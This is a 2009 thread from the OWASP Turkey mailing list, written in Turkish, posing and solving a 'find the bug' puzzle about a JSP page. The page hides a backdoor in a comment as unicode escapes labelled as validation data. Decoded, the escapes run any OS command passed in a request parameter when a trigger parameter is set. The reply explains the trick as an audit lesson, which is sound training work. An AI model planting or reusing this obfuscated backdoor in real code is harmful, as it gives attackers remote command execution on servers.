[Owasp-turkey] Arızayı Bul #5

yilmaz.cankaya at uekae.tubitak.gov.tr yilmaz.cankaya at uekae.tubitak.gov.tr
Tue Oct 20 17:55:32 EDT 2009



 
 Bedirhan baÅŸladı güzel oldu. Ben de ufak bir kod ekleyeyim
:-) Orjinal kod java kodu olmakla beraber, genelleyip yazıyorum.

if (getParameter('session_id') is null)
then
  sessionID=
createSession();
else




digerlerine daha gore daha ilgi ceker dedim ama...  :))
cekmedi
 
cevap "herkes developer'lara guveniyor ama uretimin canina
okuyabilirler" mantigi ile yazilmis bir backdoor. Java belirli bir
formatta (\uxxxx) unicode karakterler ile kod yazilmasina imkan taniyor.
Yani butun identifier, keyword, operator v.b.'lerin ascii olmasina gerek
yok. (C# icin ise boyle bir kisitlama var yani keyword ve operator'ler
icin mesela sadece ascii karakterler kullanilabiliyor.). Kisacasi verdigim
JSP icerisindeki unicode formatinda yazilan bolumu, basina ve sonuna
' karakteri koyduktan sonra 
 
http://www.webguvenligi.org/ipacker/ipacker.html
 
uygulamasinin INPUT bolumune koyup EVAL TO OUTPUT butonuna
basarsaniz, aslinda developer'in nasil bir backdoor yazdigini
gorebilirsiniz. Ortaya cikan parca, multiline comment bolumunu
kapatip, asil backdoor kodunu yazip, daha sonra tekrar multiline
comment bolumunu aciyor (ki "syntax error" almayalim, ayni sqli,
ldapi gibi).
 
Bu sekilde ciplak gozle bakan veya regex ile audit yapmaya calisan
bir denetimcinin isi zorlasiyor.

bedirhan
 
18 Ekim 2009 21:05 tarihinde Bedirhan Urgun bedirhanurgun at gmail.com> yazdı:
 
 
Bu kez eglenceli bir ariza var :) Ise farkli bir perspektiften
bakmayi gerektiriyor. Bir JSP sayfasi...
 
bedirhan
 
Arizayi Bul #4
--------------------

%@page contentType="text/html"
pageEncoding="UTF-8"%>
   "http://www.w3.org/TR/html4/loose.dtd">

    
        
        
        
     
   

       

        
        
        

        
        
       
 

        

       
           
/************************************COMMENT
BEGIN************************************** 
           This is
unicode that will be used for data validation
           
\u002a\u002f\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u003d\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0061\u0072\u006b\u0061\u006b\u0061\u0070\u0069\u0022\u0029\u003b\u0020\u0069\u0066\u0020\u0028\u0020\u0073\u0021\u003d\u006e\u0075\u006c\u006c\u0020\u0026\u0026\u0020\u0073\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0020\u0022\u0061\u0063\u0069\u006b\u0022\u0020\u0029\u0020\u0029\u0020\u007b\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0020\u0022\u006b\u006f\u006d\u0075\u0074\u0022\u0020\u0029\u0020\u0029\u003b\u0020\u007d\u002f\u002a
            
*************************************COMMENT
END***********************************/     
           
String lang = request.getParameter("language");
            //
use the unicode above to validate the data

           
validateUnicode(lang);                               

        %>
        

        
        
    







 

-- 
Bedirhan Urgun
http://www.webguvenligi.org
http://www.owasp.org/index.php/Turkey

Türkçe Web Uygulama GüvenliÄŸi E-Posta Listesine
üye olmak için: 
 https://lists.owasp.org/mailman/listinfo/owasp-turkey
   

-------------- next part --------------
An HTML attachment was scrubbed...
URL: https://lists.owasp.org/pipermail/owasp-turkey/attachments/20091021/ac6613e7/attachment.html 


More information about the Owasp-turkey mailing list